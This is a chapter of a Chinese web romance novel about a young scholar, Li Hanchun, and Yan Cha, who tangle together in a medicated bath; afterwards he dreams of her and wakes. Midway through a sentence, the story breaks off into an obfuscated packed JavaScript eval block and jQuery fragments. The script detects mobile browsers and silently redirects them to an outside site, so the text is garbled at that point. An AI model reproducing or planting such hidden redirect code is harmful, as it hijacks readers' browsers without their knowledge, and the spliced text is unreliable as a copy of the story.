75.濡湿缠绕
作品:《饲养落魄小太子》 偌大的浴池中,热气缭绕在二人之间,模糊了彼此之间的视线与距离。
颜茶惊魂未定,手下灼烫的触感让她忍不住抬眼。
“我......”
她意识逐渐回笼,这时才发觉自己掉落后竟然刚好被李含春快速接住。
方才事出紧急,她都未看清少年下意识向前的步伐与动作。
二人衣裳全然湿透,水汽氤氲间,曲线隐约可见,彼此的呼吸也染上了潮湿的暧昧。
李含春此时的意识已经不是很清明,他垂眸看着怀中女子后怕的神情不由得轻轻勾唇,但眼神却不敢乱飘。
“还好吗?”他声音低哑,看着少女的面庞眼神不由得渐渐迷蒙,好像裹着一层白雾。
少女张唇,却不知如何开口。
李含春看着那抹娇艳的红嫩不由得恍惚,他手中的力道收紧,让自己意识清醒。
“什么人在说话?吵死了。”魏彬突然再次开口,打破了这浴池中暧昧缭人的氛围。
李含春眼眸微颤,他突然侧身将怀中的人用力一拉,背对着岸上的魏彬,整个人完全覆盖住颜茶。
如此场合,如果让魏彬看见确实不合礼数。
他不怕,但是他害怕她会被这些谣言贴上一些莫须有的罪名。
她浑身一僵,本就紧张的身体再次被迫贴近面前的灼热,不由得屏息噤声。
只见魏彬微微撑起身体想要抬头,可大脑昏沉,醉酒后更是调动不了四肢。片刻后,还未撑起的脑袋便随着沉重的身体再次倒下。
二人闻声都轻微松口气,身体也放松下来,还好是虚惊一场。
这声突如其来的询问让李含春意识清醒不少,手中的柔软让他耳尖泛红,脸上也红晕遍布,他低着头不敢看向少女的眼睛。
“抱歉......”
李含春快速松手。
可刚松开手,两人竟然再次被缠住。
颜茶脚刚落地,便被一股拉扯跌落到少年身上,她痛地低吟一声,刚松开紧致胸膛的双手再次扑上去。
额头撞到少年的胸前,又硬又烫的触觉此刻简直让她进退两难。
“好像......是什么扯到我头发了。”她面色嫣红,双手的触感和烫人的让她不敢轻举妄动,更别提眼前那抹她不敢望向的绯红。
颜茶垂着眸,浴池热的她也有些发晕,这般狼狈哪怕是十七年前她也未曾经历过。
“别动,好像是发簪和衣物勾连到了。”只见她的白玉簪勾出了发丝和细纱,互相缠作一团。
李含春声音低得不像话,灼热滚烫的气息扑向少女的头顶。
真是要命......
他颤抖着闭眼,过往梦中的一切逐渐清晰浮现在眼前,他克制着体内的妄念,抬手解着粘连在一起的发丝。
“放轻松,很快就好了。”他低哑着声音安抚胸前不安的人,动作沉着,眼神也未移动分毫。
颜茶感觉内心仿佛有什么东西要冲破她的身体,她冰凉的十指正搭在少年身上,已然分不清那蓬勃的跳动是源于自己还是指尖下的另一个人。
“好了吗?”她咬唇静静等待着,压下心底说不明的情绪。
滚烫的汗从额间滑落,少年终于解开最后一缕发丝,喉咙轻滚,“好了......”
颜茶起身,双手快速离开那股灼热。
“谢谢......”她抬眼,少年湿漉漉的眼神纯净又动人,仿佛要将她吸进去一般。
“......”李含春呼吸忍不住紊乱,“先上去吧。”
浴池中的白雾裹着二人周身,交缠层叠的衣衫随着水流轻轻漂浮。青丝已然散落,而头上的发带也松散地垂在发尾。
发带绵延轻柔,竟然不知不觉地与少年手臂绑着的另一条发带贴在一起。
两条发带金线交错,紫纱相叠,湿润地黏连在一起,宛如并蒂莲一般开于雾中。它们在朦胧的水汽中散着诱人的金光,水波荡漾时,光影流转,鲜活又诱人。
颜茶扶着岸边爬上去,发尾的金线百合随着动作脱离开散落的青丝,和水滴一起滑落在少年的手臂上。
两条缠绕的发带宛如水中嬉闹的鲤鱼,紫色的细纱更添了几分梦幻。
潮湿的触感让李含春看向那抹湿金,这般无心的缠绕,却让他心头狠狠一颤,“发带掉了。”
他指尖分开两条缠绕的发带,将属于她的那条递上。
颜茶坐在岸边,看向浴池中的少年,心中最后一抹紧绷的心弦突然被抚平。她垂眸看向那早已湿透的发带,眼神柔软,无声勾唇。
“谢谢......”
目光相触的刹那,池水仿佛静止。
他眼底那惯常的温润和克制逐渐裂开一丝缝隙,露出底下汹涌的暗流和她从未看清过的情绪。
只是一瞬,便又被他垂眸敛去。
“你先走,我迟些再去寻你商议正事。”
颜茶点头,担心地再次看了眼那浸在雾蒙蒙水中的少年。
他衣衫凌乱,束发也有点散落,湿漉漉的眼眸明明没有任何邪念,可却带着不容忽视的侵略气息。
“早点出来,小心会晕倒......”
颜茶快速起身整理好衣衫出门,方才的旖旎已经悉数散去,厢房再次寂静。
“四月,给房内送几碗汤药,药性有点大,已经有人晕倒了。”她走出厢房便看见了楼梯口的四月。
四月一脸焦急地迎上来,见她没事才松口气。
“好!”
“姑娘真是把我吓坏了,方才见屋内没人,我还以为你走了。”
颜茶拍着她的肩膀安抚,“我没事,倒是他们如果再不醒药恐怕是不行了。”
四月轻笑,一脸揶揄,“是,姑娘。你们在里面可有......”
那浴池中的药性对于未经人事的男子的确是有些过猛,如若不及时出来,恐怕会留下一些后遗症。
“想什么呢?”
颜茶敲打了一下四月坏笑的脑袋,“快去吧。”
......
“这么沉!”
李含春压制着脑中的晕眩,想要将地上的两人抬到床垫之上。
他搭上庄石缘的胳膊,还没将庄石缘拉起,整个人便软弱无力,意识骤然飘散,身体再也撑不住地倒在两人身上。
三个人摞在一起,就这样在屋内昏迷了过去。
四月端着药汤进来时,看见的便是三人叠摞在一起的滑稽场景。
她不禁有些哭笑不得,姑娘真是如有神算。她如果再晚来一步,这几人恐怕要被药性侵袭全身。
——————————
李含春在昏迷中做了一个梦......
梦中依旧是熟悉的浴池,水雾浓得化不开,怀中人眉眼模糊,可这一次他却没有松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121338|183220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手。
他借着脑中那破土而出的妄念狠狠将怀中的女子拉进怀抱。
柔软的身躯相贴,灼热的温度让他意识溃散,他伏在她的耳边低声胡乱唤着“师父”亦或是“姐姐”。
身旁的水流随着动作一次次漾开,眼前一片朦胧,不由得逐渐沉溺在这一片浴池之中无法自拔。
临近酉时的尾声,李含春才从混乱的梦中苏醒。
睁开眼的瞬间,他仿佛感觉自己又回到了小时候,可帐顶的缠枝纹瞬间便让他意识回笼,整个人清醒起来。
他抚上额头的濡湿,发丝黏连在脸侧,整个人心跳不止,口干舌燥,连喉咙都有些干涩的灼痛,仿佛还残余这梦中那声呜咽。
李含春扶着床褥起身,眼神还带着最后的迷蒙。
这样的梦他七年来做了一次又一次,越是克制,越是疯长......难道这辈子都要被这样见不得人的心意裹挟相伴吗......
他轻声叹气,抬眸望向窗外的夕阳。
橙紫交融的霞光洒落在平京城中,他竟昏迷了这么久,这药性果然烈,她没骗自己。
整整两个时辰,药性才逐渐散去。
他起身看向旁边床褥上还在沉睡的两人,不由得气笑,这两人真是!
“庄石缘!”
“魏彬!”
李含春拍着两人的脸,有些烦躁。
“快醒醒!”
魏彬还沉溺在美食的幻境中,却突然感觉有什么叶子在用力抽自己,整个人要被这股力量打得飞起。
而庄石缘本在梦中和他心心念念的元珠自由地奔跑在夕阳下,可迎面而来的晚风竟然把他拍得要喘不过气。
二人被李含春的力道惊醒。
“你干什么!扰人美梦!”
魏彬揉着脑袋起身,感觉浑身疼痛剧烈。
庄石缘也逐渐清醒起来,回忆着昏迷前的一切。
“就你们俩这酒量,以后还是别喝酒了。”李含春讥笑着回应,见二人醒过来便毫不留情地离开。
“你也太用力了,感觉我的脸都要被你拍木了!”魏彬吃痛地叫嚷,内心咒骂着李含春的不温柔。
“既然醒了,那你们就自己回去吧,我先走了。”
少年披上已经干了的墨色外衫,发束重新束好,又变回了下午那个风光霁月的状元郎。
“对了。”李含春在门口回头,嘴角露出一抹人畜无害的笑容。
“魏公子记得跟四月把账结了,可别落下不好的名声,毕竟你喝醉了之后,发生了不少事......”
少年未说明,可这意犹未尽的话语却让魏彬面色一僵。
糟糕,他喝醉后不会干了什么坏事吧!魏彬脸色难看,拍额苦思。
“哎,你别走啊!把话说清楚!”
“你怕什么?难道你经常喝醉后耍酒疯?”庄石缘慢吞吞的开口,脑中的酒意还未散尽。
“我哪有!我可是斯文守礼的世家子!”
“那你紧张什么?”
......
李含春笑着离开,不再与屋内争嘴的二人纠缠。
少年紧紧捏着手中的墨玉,春风拂面,整个人都笑得格外清朗。他现在有更重要的人要见,还有更重要的事情要商讨。
他恼怒二人下午的擅自闯入,但又在心底暗暗庆幸,庆幸这二人为他创造了这样难得的机缘......

